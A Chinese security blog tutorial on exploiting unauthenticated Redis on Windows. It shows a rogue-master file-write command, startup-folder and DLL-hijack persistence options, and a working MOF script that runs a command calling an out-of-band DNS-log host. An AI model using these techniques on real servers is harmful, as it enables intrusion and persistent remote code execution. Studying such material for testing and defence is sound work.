redis未授权访问(二)

发布于:2022-12-10 ⋅ 阅读:(749) ⋅ 点赞:(0)

目录

前言

0x01 写无损文件

0x02 getshell

1.存在web

2.启动项

3.篡改&劫持

4.mof

参考


前言

之前已经介绍了未授权访问的4种利用方式,这里再介绍一下4种利用方式的一些存在问题及绕过方式。

linux写shell很容易,但是windows的计划任务文件不是以文本格式保存在固定位置的,并且若利用写木马的方式要求该服务器开启了web服务;而windows的最新redis版本只有3.2也无法利用主从getshell;同时没有ssh服务。因此只有可能通过直接写shell的方式了。

0x01 写无损文件

redis直接写数据会携带脏数据,要想getshell可能要求你写二进制文件等,这时候我们可以利用主从复制写无损数据进去,可利用工具

RedisWriteFile

命令如下python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]

0x02 getshell

1.存在web

理想情况若存在web网站,可以直接写木马进行反连。

2.启动项

windows中可以利用系统服务、计划任务、注册表启动项,用户的startup目录进行自启动。而只有startup方式可以精准的向固定目录写文件。

C:Users/[username]/AppData/Roaming/Microsoft/Windows/Start/Men/Programs/Startup

这里如果猜测用户名成功即可写入文件,当然需要用户重启才能启动。

3.篡改&劫持

系统DLL劫持(需要目标重启或注销)
针对特定软件的DLL劫持(需要知道软件的绝对路径,需要目标一次点击)
覆写目标的快捷方式(需要知道用户名,需要目标一次点击)
覆写特定软件的配置文件达到提权目的(目标无需点击或一次点击,主要看是什么软件)
覆写sethc.exe粘滞键(需要可以登录3389)

#上面涉及系统目录的操作,前提是Redis权限很高,不然没戏。

比较通用的方法是向system32目录下写文件,但NT6及以上操作系统的UAC必须关掉,或Redis以SYSTEM权限启动,否则脚本显示成功但实际上是无法写入的。


4.mof

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:C:/windows/system32/wbem/mof/nullevt.mof,其作用是每隔五秒就会去监控进程创建和死亡。但这个默认5秒执行一次的设定只有03及以下系统才会有.....

例如如下脚本执行时会执行系统命令:

#pragma namespace("\\.\root\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa "Win32_LocalTime" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject("WScript.Shell")
WSH.run("ping sfas.g9bubn.ceye.io ")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

将其保存为nullevt.mof并写入C:/windows/system32/wbem/mof路径下,而且由于03没有默认UAC的控制,只要权限够就可以直接写入。

参考

(32条消息) Redis在Windows环境下Getshell_ProjectDer的博客-CSDN博客

踩坑记录-Redis(Windows)的getshell - 走看看 (zoukankan.com)

本文含有隐藏内容,请 开通VIP 后查看